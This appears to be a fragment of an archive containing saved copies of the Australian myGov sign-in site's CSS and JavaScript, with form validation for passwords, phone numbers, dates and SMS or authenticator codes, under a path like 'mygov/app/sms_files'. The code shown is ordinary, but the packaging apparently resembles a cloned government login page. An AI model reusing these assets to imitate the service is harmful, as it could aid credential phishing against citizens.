#999;background-color:white;border-radius:50%;height:42px;width:42px;text-align:center;margin-right:auto;margin-left:auto;padding-top:4px}.digital-id-login-card.alternative{text-align:left;background-color:transparent;margin-bottom:0}.new-modal{position:fixed;top:0;left:0;z-index:1050;width:100%;height:100%;overflow:hidden;outline:0;background-color:rgba(0,0,0,0.8)}.generic-modal{padding:1em}.new-modal-content{background-color:white}#modal-zone{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center;-webkit-box-pack:center;-webkit-justify-content:center;-ms-flex-pack:center;justify-content:center}#secondary-modal-header{margin-top:0}#new-modal-content,#secondary-identity-modal{max-width:600px;width:100%}@-webkit-keyframes fadein{from{opacity:0}to{opacity:.8}}@keyframes fadein{from{opacity:0}to{opacity:.8}}@-webkit-keyframes fadeout{to{opacity:0}}@keyframes fadeout{to{opacity:0}}@-webkit-keyframes slidein{from{top:0;opacity:0}to{top:10%;opacity:1}}@keyframes slidein{from{top:0;opacity:0}to{top:10%;opacity:1}}@-webkit-keyframes slideout{from{top:10%;opacity:1}to{top:0;opacity:0}}@keyframes slideout{from{top:10%;opacity:1}to{top:0;opacity:0}}.button-identity[disabled]{background-color:grey;color:white}.identity-modal-header-group{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-orient:horizontal;-webkit-box-direction:normal;-webkit-flex-direction:row;-ms-flex-direction:row;flex-direction:row;-webkit-box-flex:2;-webkit-flex:2;-ms-flex:2;flex:2}.identity-modal-header-group .identity-question-header{font-size:1.5rem;margin-top:0}.identity-modal-header-group .explanatory-identity-header{font-size:1.5rem}.identity-modal-header-group #modal-action-dismiss,.identity-modal-header-group #secondary-modal-action-dismiss{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-pack:right;-webkit-justify-content:right;-ms-flex-pack:right;justify-content:right}.identity-modal-header-group .modal-action-dismiss{-webkit-box-ordinal-group:3;-webkit-order:2;-ms-flex-order:2;order:2;z-index:3000;border:0;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;width:18px;height:18px;margin-left:auto;-webkit-box-align:start;-webkit-align-items:flex-start;-ms-flex-align:start;align-items:flex-start}.identity-modal-header-group .modal-action-dismiss:hover{background-color:transparent}.identity-modal-header-group .modal-action-dismiss img{width:36px}.secondary-identity-modal-button-container{margin-top:2em}.new-slide-in{-webkit-animation-name:slidein;animation-name:slidein;-webkit-animation-duration:1s;animation-duration:1s;position:-webkit-sticky;position:sticky;z-index:2500;top:10%}@media screen and (min-width:768px){.new-slide-in{position:fixed}}.new-slide-out{-webkit-animation:slideout;animation:slideout;-webkit-animation-duration:1s;animation-duration:1s}.new-fade{-webkit-animation-name:fadein;animation-name:fadein;-webkit-animation-duration:.2s;animation-duration:.2s}.new-fade-out{-webkit-animation-name:fadeout;animation-name:fadeout;-webkit-animation-duration:.2s;animation-duration:.2s}.new-show{display:block}.new-hide{display:none}.external-links-zone span{display:inline-block}.external-links-zone span.identity{margin-bottom:.7em}@media screen and (min-width:576px){.external-links-zone span.mygovid{float:right}}.link-external{width:1em;height:1em;display:inline-block;position:relative;top:4px;margin-right:3px}.link-external.blugov{top:2px}.link-external:hover{background:white;border:2px solid white}mygov/app/sms_files/mgv2-application.js.download000064400000223737151676702570016027 0ustar00(function(global){global.maxMobileScreenWidth=992;global.getUrlParams=function(){var hashes=(window.location.href.split("?")[1]||"").split("&");var params={};for(var i=0;i<hashes.length;i++){var hash=hashes[i].split("=");params[hash[0]]=hash[1];}return params;};global.getAndroidVersion=function(ua){var match=(ua||navigator.userAgent).match(/android\s([0-9\.]*)/i);if(match){return parseFloat(match[1]);}};global.isTouchDevice=(function(){try{document.createEvent("TouchEvent");return true;}catch(e){return false;}})();global.oneUseEvent=function(element,event,fn){function handler(e){fn.call(this,e);this.removeEventListener(event,handler);}element.addEventListener(event,handler);};$(function(){global.isMobileDevice=$(window).width()<=global.maxMobileScreenWidth&&global.isTouchDevice;});})(window.global=window.global||{});$(document).ready(function(){var $menuHitbox=$(".menu-hitbox");$menuHitbox.on("click",function(e){var $this=$(this);if(!$this.hasClass("open")){$this.addClass("open");$this.siblings(".global-menu").slideDown(function(){$this.addClass("open-on-mobile");$(this).removeAttr("style");});$this.find(".text").text("Close");}else{$this.removeClass("open");$this.siblings(".global-menu").slideUp(function(){$this.removeClass("open-on-mobile");$(this).removeAttr("style");});$this.find(".text").text("Menu");}});$menuHitbox.on("keyup",function(e){if(e.which==13){$menuHitbox.trigger("click");}});});$(document).ready(function(){cleanDefaultValues();$(".button-main").on("mousedown",function(event){if(event.button&&event.button!==0){return;}$("form input:visible:enabled").each(function(){if($(this).attr("data-new-password")!==null||$(this).attr("data-reenter-password")!==null){$(this).trigger("blur");}else{$(this).val($(this).val().trim());$(this).trigger("blur");}});if($("form").find(".hasError").length!=0){$("form").find(".hasError:first > input").focus();event.preventDefault?event.preventDefault():(event.returnValue=false);}$(this).trigger("click");});$("form input").on("keypress",function(event){var charCode=event.charCode||event.keyCode||event.which;if(charCode==13){event.preventDefault?event.preventDefault():(event.returnValue=false);$(".button-main").trigger("mousedown");}});$(".button-main").on("click",function(event){$("[dont-validate]").removeAttr("dont-validate");$("form input:visible:enabled").each(function(){var type=$(this).attr("type");if($(this).attr("data-new-password")!==null||$(this).attr("data-reenter-password")!==null){$(this).trigger("blur");}else{$(this).val($(this).val().trim());$(this).trigger("blur");}});if($("form").find(".hasError").length!=0){$("form").find(".hasError:first > input").focus();event.preventDefault?event.preventDefault():(event.returnValue=false);}});$("[data-mandatory--input]").on("blur",function(){if((formHelper.isNotEmpty($(this).val()))){formHelper.clearError($(this));}else{formHelper.setError($(this),"Require a value","p");}});$("[data-mandatory--checkbox]").on("blur",function(){if($(this).is(":checked")){formHelper.clearError($(this));}else{formHelper.setError($(this),"Check this box to continue","p");}});$("form").preventDoubleSubmission();setErrorParent();});var cleanDefaultValues=function(){if($('input[name="formId"]').val()==="clkPersonalDetailsFast"){var label=$("label[for*=clkCRN] span");label.text(label.text()+" (optional)");var crn=$("input[name*=clkCRN]");if(crn.val()==="000000000Z"){crn.val("").css("color","inherit");}}};var setMandatoryValues=function(){if($('input[name="formId"]').val()==="clkPersonalDetailsFast"){var crn=$("input[name*=clkCRN]");if(crn!=null&&crn.val()===""){crn.css("color","transparent").val("000000000Z");}}};$.fn.preventDoubleSubmission=function(){$(this).on("submit",function(event){var $form=$(this);if($form.data("submitted")){event.preventDefault?event.preventDefault():(event.returnValue=false);}else{setMandatoryValues();$form.data("submitted",true);}});return this;};function findInfoOrErrorParent($elem,closestDefault){closestDefault=!closestDefault?"label":closestDefault;var $parent=$elem.closest($(closestDefault));if($elem.closest("fieldset")[0]!==undefined){$parent=$elem.closest($("fieldset"));}else{if($elem.closest(".poro-field-group")[0]!==undefined){$parent=$elem.closest($(".poro-field-group"));}else{if($elem.closest(".selectRadio")[0]!==undefined){$parent=$elem.closest($(".selectRadio"));}else{if($elem.closest(".raet-line")[0]!==undefined){$parent=$elem.closest(".raet-line");}else{if($elem.closest(".input-group")[0]!==undefined){$parent=$elem.closest(".input-group");}else{if($elem.closest(".pincode-input-container")[0]!==undefined){$parent=$elem.closest(".pincode-input-container");}}}}}}return $parent;}function findSuccessParent($elem){var $parent=$elem.closest($("label"));if($elem.closest("fieldset")[0]!==undefined){$parent=$elem.closest($("fieldset"));}else{if($elem.closest(".input-group")[0]!==undefined){$parent=$elem.closest(".input-group");}}return $parent;}function clearMessageType($parent,typeClass){var $msgContainer=$parent.find("."+typeClass+'[role="alert"]');var containerId=$msgContainer.attr("id");if(containerId){formHelper.removeDescription($parent.find('[aria-describedby~="'+containerId+'"]'),containerId);formHelper.removeAriaErrorMessage($parent.find('[aria-errormessage~="'+containerId+'"]'),containerId);}$parent.removeClass(typeClass);$msgContainer.remove();}var setErrorParent=function(){$("form span.hasError").each(function(){var $elem=$(this);var $parent=findInfoOrErrorParent($elem);$parent.addClass("hasError");var $control=$parent.find("input,select");if($control&&$control.length===1){formHelper.associateMessageWithElement($control,$elem);$control.attr("aria-invalid",true);}});};var formHelper={replaceMessageClass:function($element,newClass){$element.removeClass("success");$element.removeClass("hasInfo");$element.removeClass("hasError");if(newClass){$element.addClass(newClass);}},clearAllMessages:function($parent,expectedMessageElementSelector){expectedMessageElementSelector=!expectedMessageElementSelector?"":expectedMessageElementSelector;var $msgContainer=$parent.find(expectedMessageElementSelector+'[role="alert"]');var containerId=$msgContainer.attr("id");if(containerId){formHelper.removeDescription($parent.find('[aria-describedby~="'+containerId+'"]'),containerId);formHelper.removeAriaErrorMessage($parent.find('[aria-errormessage~="'+containerId+'"]'),containerId);}$parent.removeClass("hasError");$parent.removeClass("hasInfo");$parent.removeClass("success");$msgContainer.remove();},resetDefaultValue:function($elem){$elem.val($elem.prop("defaultValue"));},setButtonGroupValue:function($elem,value){$elem.children().each(function(){$(this).removeClass("active");});$elem.children().each(function(){if($(this).text()==value){$(this).addClass("active");return false;}});},getButtonGroupValue:function($elem,cb){var value=null;$elem.children().each(function(){if($(this).hasClass("active")){value=$(this).text();return false;}});return value;},clearError:function($elem){var $parent=findInfoOrErrorParent($elem);clearMessageType($parent,"hasError");$elem.attr("aria-invalid",null);},clearCodeError:function($elem){var $parent=findInfoOrErrorParent($elem,"div");clearMessageType($parent,"hasError");$elem.attr("aria-invalid",null);},clearInfo:function($elem){var $parent=findInfoOrErrorParent($elem);clearMessageType($parent,"hasInfo");$elem.attr("aria-invalid",null);},clearSuccess:function($elem){var $parent=findSuccessParent($elem);clearMessageType($parent,"success");$elem.attr("aria-invalid",null);},setMessage:function($elem,$parent,message,typeClass,ariaInvalid,elementType){elementType=!elementType?"span":elementType;ariaInvalid=!ariaInvalid?null:ariaInvalid;var $msgContainer=$("<"+elementType+">"+message+"</"+elementType+">").addClass("form-helper-message").addClass(typeClass).attr("role","alert").attr("aria-live","assertive").appendTo($parent);formHelper.replaceMessageClass($parent,typeClass);formHelper.associateMessageWithElement($elem,$msgContainer,typeClass);$elem.attr("aria-invalid",ariaInvalid);return $msgContainer;},setError:function($elem,text,messageElementSelector){if(!messageElementSelector){messageElementSelector="span";}var $parent=findInfoOrErrorParent($elem);formHelper.clearAllMessages($parent,messageElementSelector);formHelper.setMessage($elem,$parent,text,"hasError","true",messageElementSelector);},setCodeError:function($elem,text){var $parent=$elem.closest($("div"));formHelper.clearAllMessages($parent,"span");formHelper.setMessage($elem,$parent,text,"hasError","true");},setInfo:function($elem,text){var $parent=findInfoOrErrorParent($elem);formHelper.clearAllMessages($parent,"span");formHelper.setMessage($elem,$parent,text,"hasInfo");},setSuccess:function($elem,text){var $parent=findSuccessParent($elem);formHelper.clearAllMessages($parent,"span");formHelper.setMessage($elem,$parent,text,"success");},setErrorSelect:function($elem,text){formHelper.clearSuccess($elem);var errText,$msgContainer;var $parent=findInfoOrErrorParent($elem);errText=$parent.find("#errorSelect");if(errText[0]===undefined){errText="<span id='errorSelect' class='hasError'></span>";}$parent.append(errText).addClass("hasError");$msgContainer=$parent.find("#errorSelect");$msgContainer.html(text);},clearErrorSelect:function($elem){var $msgContainer;var $parent=findInfoOrErrorParent($elem);$msgContainer=$parent.find('span[id="errorSelect"]');$parent.removeClass("hasError");$msgContainer.remove();},isUserIdValid:function(userId){var unameRegex="^[ \t]*[a-zA-Z]{2}[0-9]{6}[ \t]*$";var unameRule=new RegExp(unameRegex);return unameRule.test(userId);},isEmailValid:function(emailAddress){var emailAddress=emailAddress.trim();var valid=emailAddress.search(/^(([^<>()[\]\\.,;:\s@\"]+(\.[^<>()[\]\\.,;:\s@\"]+)*)|(\".+\"))@((\[[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\])|(([a-zA-Z\-0-9]+\.)+[a-zA-Z]{2,}))$/);return(valid===0);},isHomeNumberValid:function(number){var number=formHelper.spaceRemoved(number);var isNumber=formHelper.isNumber(number);if(isNumber){if(number.length===9&&number.substring(0,5)==="67232"){return true;}if(number.length===10&&number.substring(0,2).match("02|03|07|08")){return true;}}return false;},isWorkNumberValid:function(number){var number=formHelper.spaceRemoved(number);return(formHelper.isMobileValid(number)||formHelper.isHomeNumberValid(number));},isNumber:function(input){return(/^\d+$/).test(input);},isMobileValid:function(number){var number=formHelper.spaceRemoved(number);var isNumber=formHelper.isNumber(number);if(isNumber){if(number.length===10&&number.substring(0,2)==="04"){return true;}if(number.length===9&&number.substring(0,5)==="67235"){return true;}}return false;},isNotEmpty:function(val){return(val!=="");},isEmpty:function(val){return(val==="");},isTypingSame:function($this,$compareWith){var compareWithVal=$compareWith.val(),thisVal=$this.val(),curpos=thisVal.length-1,compareWithChar=compareWithVal.charAt(curpos),thisChar=thisVal.charAt(curpos),thisPortion=thisVal.substring(0,curpos),compareWithPotion=compareWithVal.substring(0,curpos),errMsg="",successMsg="";if(compareWithVal===thisVal){return true;}if(thisChar!==compareWithChar){return false;}if(thisPortion===compareWithPotion){formHelper.clearError($this);}},chkFieldIsEmpty:function($this){if(formHelper.isEmpty($this.val())){return true;}else{return false;}},chkTooManyCharacters:function($this,max){if($this.val().length>max){return true;}else{return false;}},chkNumberOnly:function($this){return(/^\d+$/g).test($this.val());},chkValidCode:function($this){return(/^(([0-9]){6})$/).test($this.val());},enableDate:function(){if($(".date-fields").length>0){$(".date-fields input").each(function(){$(".date-fields input").prop("disabled",false).attr("aria-disabled",false);});}},disableDate:function(){if($(".date-fields").length>0){$(".date-fields input").each(function(){$(".date-fields input").prop("disabled",true).attr("aria-disabled",true);formHelper.clearError($(".date-fields input"));$(".date-fields input").val("");});}},spaceRemoved:function(thisval){return thisval.replace(/ /g,"");},associateMessageWithElement:function($input,$message,messageTypeClass){if(!messageTypeClass){messageTypeClass="";}const id=formHelper.ensureUniqueIdFor($input);const messageId=id+"__form-helper-message";$message.attr("id",messageId);messageTypeClass==="hasError"?formHelper.addAriaErrorMessage($input,messageId):formHelper.addDescription($input,messageId);},addDescription:function($element,descriptionId){const originalDescriptionAttr=$element.attr("aria-describedby");const descriptions=originalDescriptionAttr?originalDescriptionAttr.split(" "):[];if(descriptions.indexOf(descriptionId)===-1){descriptions.unshift(descriptionId);}$element.attr("aria-describedby",descriptions.join(" "));},addAriaErrorMessage:function($element,errorMessageId){$element.attr("aria-errormessage",errorMessageId);},removeDescription:function($element,descriptionId){const originalDescriptionAttr=$element.attr("aria-describedby");const descriptions=originalDescriptionAttr?originalDescriptionAttr.split(" "):[];const newDescriptionAttr=descriptions.filter(formHelper.checkEmptyElements(descriptionId)).toString().replace(/,/g," ");if(newDescriptionAttr.trim().length>0){$element.attr("aria-describedby",newDescriptionAttr);}else{$element.attr("aria-describedby",null);}},removeAriaErrorMessage:function($element){$element.attr("aria-errormessage",null);},checkEmptyElements:function(descriptionId){return function(id){return id!==descriptionId;};},};(function(){var lastGeneratedIdNumber=0;function ensureUniqueIdFor($element){const originalId=$element.attr("id");if($element.attr("id")){return originalId;}else{var newId;var tries=0;do{newId="mgv-unique-element-"+(++lastGeneratedIdNumber);}while(tries<100&&$("#"+newId).length!=0);if(tries>=99){throw new Error("Could not generate an new ID");}$element.attr("id",newId);return newId;}}formHelper.ensureUniqueIdFor=ensureUniqueIdFor;})();(function($){$(".poro-date-fields-optional input").on("blur",function(){var testFuture=false,optional=true;updateDateField($(this),testFuture,optional);validateDate($(this));});$(".poro-date-fields-mandatory input").on("blur",function(){var testFuture=false,optional=false;updateDateField($(this),testFuture,optional);validateDate($(this));});$(".date-fields input").on("blur",function(){var testFuture=true,optional=false;updateDateField($(this),testFuture,optional);validateDate($(this),optional);});if($(".date-fields").length>0){var today=new Date();var dd=today.getDate().toString().length===1?"0"+today.getDate():today.getDate();var mm=(today.getMonth()+1).toString().length===1?"0"+(today.getMonth()+1):(today.getMonth()+1);var yyyy=today.getFullYear();if(dd!==undefined&&mm!==undefined&&yyyy!==undefined){$(".exampleDate").text("For example: "+dd+" "+mm+" "+yyyy);}}var validateDate=function($this,optional){var $parent=$this.closest($("fieldset")),date=$parent.find("[data-date]").val(),isDay=$this.attr("data-date-day")!==undefined,isMonth=$this.attr("data-date-month")!==undefined,isYear=$this.attr("data-date-year")!==undefined,thisval=$this.val(),isDateFilledIn=chkDateFilledIn($this);if(date===("NaN")||date===("future")){if(isDay){updateDayError($this,isDateFilledIn);}if(isMonth){updateMonthError($this,isDateFilledIn);}if(isYear){updateYearError($this,isDateFilledIn);}if((date==="NaN")&&isDateFilledIn){formHelper.setError($this,"Enter a valid date in the format of DD/MM/YYYY","p");}if((date==="future")&&isDateFilledIn){formHelper.setError($this,"The date can't be in the future","p");}}else{formHelper.clearError($this);}};var isValidDay=function(number){return(formHelper.isNumber(number)&&(number<32)&&(number>0));};var isValidMonth=function(number){return(formHelper.isNumber(number)&&(number<13)&&(number>0));};var isValidYear=function(number){var year=new Date().getFullYear();return(formHelper.isNumber(number)&&(number>year-150)&&(number.trim().length===4));};var chkDateFilledIn=function($elem){var $parent=$elem.closest($("fieldset"));if($parent!==undefined){day=$parent.find("[data-date-day]").val();month=$parent.find("[data-date-month]").val();year=$parent.find("[data-date-year]").val();if(formHelper.isNotEmpty(year)&&formHelper.isNotEmpty(month)&&formHelper.isNotEmpty(day)){return true;}}return false;};var updateDayError=function($day,isDateFilledIn){if(!isValidDay($day.val())){formHelper.setError($day,"Enter a valid date in the format of DD/MM/YYYY","p");}else{if(isDateFilledIn){formHelper.clearError($(this));}}};var updateMonthError=function($month,isDateFilledIn){if(!isValidMonth($month.val())){formHelper.setError($month,"Enter a valid date in the format of DD/MM/YYYY","p");}else{if(isDateFilledIn){formHelper.clearError($(this));}}};var updateYearError=function($year,isDateFilledIn){if(!isValidYear($year.val())){formHelper.setError($year,"Enter a valid date in the format of DD/MM/YYYY","p");}else{if(isDateFilledIn){formHelper.clearError($(this));}}};var updateDateField=function($this,testFuture,optional){var $parent=$this.closest($("fieldset")),now=moment(new Date(),"DD/MM/YYYY"),$year=$parent.find("[data-date-year]"),$day=$parent.find("[data-date-day]"),year=$parent.find("[data-date-year]").val(),month=$parent.find("[data-date-month]").val(),day=$parent.find("[data-date-day]").val(),isPartial=!($day.length>0),isDateFilledIn=chkDateFilledIn($year),$doc="";if(isPartial){if(month!==""||year!==""){$doc=month+"/"+year;validDate=isValidMonth(month)&&isValidYear(year);$("[data-date]").val("");}else{$("[data-date]").val("optional");}}else{if(optional){if(day!==""||month!==""||year!==""){$doc=day+"/"+month+"/"+year;validDate=isValidDay(day)&&isValidMonth(month)&&isValidYear(year);$("[data-date]").val("");}else{$("[data-date]").val("optional");}}else{$doc=day+"/"+month+"/"+year;validDate=isValidDay(day)&&isValidMonth(month)&&isValidYear(year);}}var dateOfChange=moment($doc,"DD/MM/YYYY"),duration=moment.duration(now.diff(dateOfChange)),days=duration.asDays(),inFuture=!(days>=0)&&(testFuture);if($("[data-date]").val()==="optional"){return;}else{if(!isDateFilledIn||!validDate){$("[data-date]").val("NaN");return;}else{if(!inFuture&&validDate&&isDateFilledIn){$("[data-date]").val($doc);}else{if(inFuture){$("[data-date]").val("future");}}}}};})(jQuery);(function($){$(document).ready(function(){var initToggle=function(){$(".showPassword").on("click",function(){var $this=$(this),$inputType,$passwordInput=$this.siblings("input"),relatedInputStr="";if($passwordInput.attr("data-new-password")!==undefined){relatedInputStr="data-reenter-password";}else{if($passwordInput.attr("data-new-pin")!==undefined){relatedInputStr="data-reenter-pin";}}if($passwordInput.attr("data-reenter-password")!==undefined){relatedInputStr="data-new-password";}else{if($passwordInput.attr("data-reenter-pin")!==undefined){relatedInputStr="data-new-pin";}}if(relatedInputStr!==""){$relatedElementInput=$("["+relatedInputStr+"]");$relatedElementInputButton=$relatedElementInput.siblings("button");}$inputType=$passwordInput.attr("type");if($inputType.toLowerCase()==="password"){setPwdHide($this);if(relatedInputStr!==""){setPwdHide($relatedElementInputButton);}}else{setPwdShow($this);if(relatedInputStr!==""){setPwdShow($relatedElementInputButton);}}});};var setPwdShow=function($this){var $passwordInput=$this.siblings("input");$showpasswordhelptext="Note: this will visually expose your password on the screen.";$showhelp=$("#show-hide-helpmsg");$passwordInput.attr("type","password");$this.attr("aria-label","Show password as plain text.").attr("aria-describedby","show-hide-helpmsg").html("Show");$showhelp.replaceWith("<p class='is-visuallyhidden' id='show-hide-helpmsg'>"+$showpasswordhelptext+"</p>");};var setPwdHide=function($this){var $passwordInput=$this.siblings("input");$passwordInput.attr("type","text");var $hidepasswordhelptext="Note: this will visually stop exposing your password on the screen.";$hidehelp=$("#show-hide-helpmsg");$this.attr("aria-label","Hide password").attr("aria-describedby","show-hide-helpmsg").html("Hide");$hidehelp.replaceWith("<p class='is-visuallyhidden' id='show-hide-helpmsg'>"+$hidepasswordhelptext+"</p>");};$('input[type="password"]').each(function(){var $this=$(this),showhide="";showhide='<button class="showPassword anchor" type="button" aria-describedby="show-hide-helpmsg" aria-label="Show password as plain text.">Show</button><p class="is-visuallyhidden" id="show-hide-helpmsg">Note: this will visually expose your password on the screen.</p>';$this.before(showhide);});$("[data-current-password]").on("focusout",function(){validateCurrentPwd($(this));});$("[data-new-password]").on("blur",function(){$relatedElementInput=$("[data-reenter-password]");validateNewPwd($(this));if(formHelper.isEmpty($(this).val())){formHelper.setError($(this),"Enter your new password","p");}if($relatedElementInput.val()!=""){$relatedElementInput.trigger("keyup");}});$("[data-reenter-password]").on("blur",function(){validateNewPwd($(this));if(formHelper.isEmpty($(this).val())){formHelper.setError($(this),"Re-enter your new password","p");}});$("[data-new-password]").on("keyup",function(){var errmsg="",password=$(this).val(),rule0=(/\s/g).test(password),rule1=formHelper.chkTooManyCharacters($(this),64);if(rule0){errmsg="Your password can't contain spaces";}else{if(rule1){errmsg="Password cannot be longer than 64 characters";}}if(errmsg!==""){formHelper.setError($(this),errmsg,"p");}else{formHelper.clearError($(this));}});$("[data-reenter-password]").on("blur",function(){var $compareWith=$("[data-new-password]"),isSame=($(this).val()===$compareWith.val());if(formHelper.isEmpty($(this).val())){formHelper.setError($(this),"Re-enter your new password","p");}else{if(isSame){formHelper.setSuccess($(this),"The passwords are the same","p");}else{formHelper.setError($(this),"The password you've re-entered doesn't match your new password","p");}}});$("[data-reenter-password]").on("keyup",function(){var $compareWith=$("[data-new-password]"),isSame=formHelper.isTypingSame($(this),$compareWith),errMsg="",successMsg="";if(isSame!==undefined){if(isSame){errMsg="";successMsg="The passwords are the same";}else{errMsg="The password you've re-entered doesn't match your new password";successMsg="";}if(formHelper.isNotEmpty($(this).val())){(errMsg!=="")?formHelper.setError($(this),errMsg,"p"):formHelper.setSuccess($(this),successMsg);}}});initToggle();});var validateCurrentPwd=function($elem){if(formHelper.chkFieldIsEmpty($elem)){formHelper.setError($elem,"Enter your current password","p");}else{formHelper.clearError($elem);}};var isthreeSequential=function(char1,char2,char3){var next=String.fromCharCode(char1.charCodeAt()+1);if(char2===next){var afternext=String.fromCharCode(char2.charCodeAt()+1);return char3===afternext;}return false;};var isthreeRepeated=function(char1,char2,char3){if(char1===char2){return(char2===char3);}};var chkSeqRep=function(str){var count=0;for(var x=0;x<str.length;x++){var c=str.charAt(x);var d=str.charAt(x+1);var e=str.charAt(x+2);if(isthreeSequential(c,d,e)||isthreeRepeated(c,d,e)){var x=x+2;count++;}}return(count>1);};var validateNewPwd=function($elem){var password=$elem.val(),relatedInputStr,errStatus,curPwd=$("[data-current-password]").val(),rule1=!(/^(?=.*[0-9])(?=.*[a-zA-Z])(([a-zA-Z0-9\!\@\#\$\%\^\&\*]){7,})$/).test(password),rule1=!(/^.{7,}$/).test(password),rule1b=!(/^[\s\da-zA-Z!@#$%^&*]*$/).test(password),rule2=!(/(([a-zA-Z]){1,})+/).test(password),rule3=!(/(([0-9]){1,})+/).test(password),rule4=(/(.)\1{3,}/).test(password),rule5=(/(abcd|bcde|cdef|defg|efgh|fghi|ghij|hijk|ijkl|jklm|klmn|lmno|mnop|nopq|opqr|pqrs|qrst|rstu|stuv|tuvw|uvwx|vwxy|wxyz)+/i).test(password.toLowerCase()),rule6=(/(0123|1234|2345|3456|4567|5678|6789|7890)+/i).test(password.toLowerCase()),rule7=chkSeqRep(password),rule8=(/\s/g).test(password),rule9=formHelper.chkTooManyCharacters($elem,64),rule10=(password===curPwd);errmsg="";if(rule1){errmsg="Your password must have at least 7 characters.";}else{if(rule2){errmsg="Your password must include a letter.";}else{if(rule3){errmsg="Your password must include a number.";}else{if(rule4){errmsg="Your password can't have more than 3 of the same numbers or letters in a row.";}else{if(rule5){errmsg="Your password can't have more than 3 letters in alphabetical order.";}else{if(rule7){errmsg="Your password can't repeat a sequence of any 3 letters or numbers.";}else{if(rule8){errmsg="Your password can't contain spaces.";}else{if(rule6){errmsg="Your password can't have more than 3 numbers in numerical order.";}else{if(rule1b){errmsg="Your password can only use these special characters !@#$%^&*.";}else{if(rule9){errmsg="Password cannot be longer than 64 characters.";}else{if(rule10){errmsg="Your new password can't be the same as your current password.";}}}}}}}}}}}if(formHelper.isNotEmpty(password)){if(errmsg!=""){formHelper.setError($elem,errmsg,"p");}else{formHelper.clearError($elem);}}};})(jQuery);(function($){$(document).ready(function(){$("[data-email-address]").on("blur",function(){if($(this).val().trim()!==""){if(formHelper.isEmailValid($(this).val().trim())){formHelper.clearError($(this));}else{formHelper.setError($(this),"Enter a valid email address. For example name@mail.com","p");}}else{formHelper.clearError($(this));}});var contactNumber=function(){var $mobile=$("[data-mobile-number]"),$home=$("[data-home-number]"),$work=$("[data-work-number]");$("[data-mobile-number]").on("keyup",function(){if($(this).val()!=""){formHelper.enableDate();}else{if(($home.val()||$work.val())===""){formHelper.disableDate();}}});$("[data-home-number]").on("keyup",function(){if($(this).val()!=""){formHelper.enableDate();}else{if(($work.val()||$mobile.val())===""){formHelper.disableDate();}}});$("[data-work-number]").on("keyup",function(){if($(this).val()!=""){formHelper.enableDate();}else{if(($home.val()||$mobile.val())===""){formHelper.disableDate();}}});$("[data-mobile-number]").on("blur",function(){if($(this).val()!=""){formHelper.enableDate();if(formHelper.isMobileValid($(this).val())){formHelper.clearError($(this));}else{formHelper.setError($(this),"Enter a valid Australian or Norfolk Island mobile number. Australian mobile numbers contain 10 digits and begin with 04","p");}}else{formHelper.clearError($(this));if(($home.val()||$work.val())===""){formHelper.disableDate();}}});$("[data-home-number]").on("blur",function(){if($(this).val()!=""){formHelper.enableDate();if(formHelper.isHomeNumberValid($(this).val())){formHelper.clearError($(this));}else{formHelper.setError($(this),"Enter a valid Australian or Norfolk Island landline phone number. Australian landline numbers contain 10 digits and begin with 02, 03, 07 or 08","p");}}else{formHelper.clearError($(this));if(($work.val()||$mobile.val())===""){formHelper.disableDate();}}});$("[data-work-number]").on("blur",function(){if($(this).val()!=""){formHelper.enableDate();if(formHelper.isWorkNumberValid($(this).val())){formHelper.clearError($(this));}else{formHelper.setError($(this),"Enter a valid Australian or Norfolk Island phone number. Australian phone numbers contain 10 digits and begin with 02, 03, 07, 08 or 04 for mobile numbers","p");}}else{formHelper.clearError($(this));if(($home.val()||$mobile.val())===""){formHelper.disableDate();}}});$("[data-home-number], [data-work-number]").on("keyup blur",function(e){if(this.value.length>0){$(this).parent().next('[type="checkbox"]').prop("disabled",false).attr("aria-disabled",false);}else{$(this).parent().next('[type="checkbox"]').prop("disabled",true).attr("aria-disabled",true);if(e.type==="blur"){$(this).parent().next('[type="checkbox"]').prop("checked",false);}}});$("[data-home-number], [data-work-number]").trigger("keyup");};contactNumber();$("[data-showmore-hideself]").on("click",function(){$(".moreUpdates[hidden]").slice(0,10).removeAttr("hidden aria-hidden");if($(".moreUpdates[hidden]").length===0){$(this).parent().hide();}});});})(jQuery);$(document).ready(function(){$("[data-email-addr]").on("blur",function(){if(formHelper.isEmailValid($(this).val())){formHelper.clearError($(this));}else{formHelper.setError($(this),"Enter a valid email address. For example name@mail.com","p");}});$("[data-number-email-input]").on("blur",function(){if((formHelper.isNotEmpty($(this).val()))&&(formHelper.chkValidCode($(this)))){formHelper.clearCodeError($(this));}else{formHelper.setCodeError($(this),"Enter the 6 digit code we sent to your email address","p");}});$("[data-number-mobile-input]").on("blur",function(){if((formHelper.isNotEmpty($(this).val()))&&(formHelper.chkValidCode($(this)))){formHelper.clearCodeError($(this));}else{formHelper.setCodeError($(this),"","p");}});$("[data-number-totp--input]").on("blur",function(){if((formHelper.isNotEmpty($(this).val()))&&(formHelper.chkValidCode($(this)))){formHelper.clearCodeError($(this));}else{formHelper.setCodeError($(this),"To continue, enter a code from the myGov Code Generator app","p");}});});$("[data-mobile-num]").on("blur",function(){if(formHelper.isMobileValid($(this).val())){formHelper.clearError($(this));}else{formHelper.setError($(this),"Enter a valid Australian or Norfolk Island mobile number. Australian mobile numbers contain 10 digits and begin with 04.","p");}});const securityCodesInfo=document.querySelector("#security-codes-info");if(securityCodesInfo){securityCodesInfo.setAttribute("hidden","true");}$("[data-infotext-toggle]").on("click",function(){const securityCodesInfo=document.querySelector("#security-codes-info");const hidden=securityCodesInfo.getAttribute("hidden");var attr=$(this).attr("aria-expanded");attr=attr==="false"?"true":"false";$(this).attr("aria-expanded",attr);if(hidden==null){securityCodesInfo.setAttribute("hidden","true");}else{securityCodesInfo.removeAttribute("hidden");}});$(":radio[data-inbox-pref]").on("change",function(){var selected=this.value;switch(selected){case"mobile":formHelper.clearError($("[data-email-addr]"));formHelper.resetDefaultValue($("[data-email-addr]"));$("[data-email-addr]").closest($("label")).attr({"hidden":true,"aria-hidden":true});$("[data-mobile-num]").closest($("label")).removeAttr("hidden 